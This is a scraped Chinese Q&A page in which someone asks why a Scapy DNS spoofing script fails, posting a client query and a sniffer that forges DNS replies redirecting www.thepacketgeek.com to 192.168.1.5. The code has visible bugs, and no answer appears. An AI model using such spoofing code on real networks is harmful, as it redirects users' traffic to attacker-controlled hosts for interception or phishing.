首页 > 解决方案 > 无法在 Scapy 中发送 DNS 回复

问题描述

我正在尝试使用 Scapy 编写用于 DNS 欺骗的代码。一切正常,除了我的 DNS 服务器的响应错误。我应该得到这样的回应:

DNS Ans "198.71.55.197"

但我得到了

DNS Qry "google.com"

这是我的客户代码:

from scapy.all import DNS, DNSQR, IP, sr1, UDP

dns_req = IP(dst='8.8.8.8')/UDP(dport=53)/DNS(rd=1, qd=DNSQR(qname='www.thepacketgeek.com'))
answer = sr1(dns_req, verbose=0)

print(answer[DNS].summary())

这是我的 DNS 欺骗服务器代码:

from scapy.all import *
DNS_SERVER_IP = "127.0.0.1"

def packetsniff(packet):
if(packet.haslayer(DNS) and packet.getlayer(DNS).qr==0):

    if("www.thepacketgeek.com" in str(packet[DNS]["DNS Question Record"].qname)):
        spf_res = IP(dst=packet[IP].src, src=packet[IP].dst)/\
              UDP(dport=packet[UDP].sport,sport=packet[UDP].dport)/\
              DNS(id=packet[DNS].id,qr=1, aa=1, ancount=1,qd = packet[DNS].qd,\
                  an=DNSRR(rrname="pkt[DNSQR].qname", ttl=10, rdata="192.168.1.5"))                                        
        send(spf_res, verbose=0)
        return "spoofed request sent :" +packet[IP].src
    else:
        return "not me"


sniff(filter="udp", prn=packetsniff)

我做错了什么?

标签: pythondnsscapyspoofing

解决方案


推荐阅读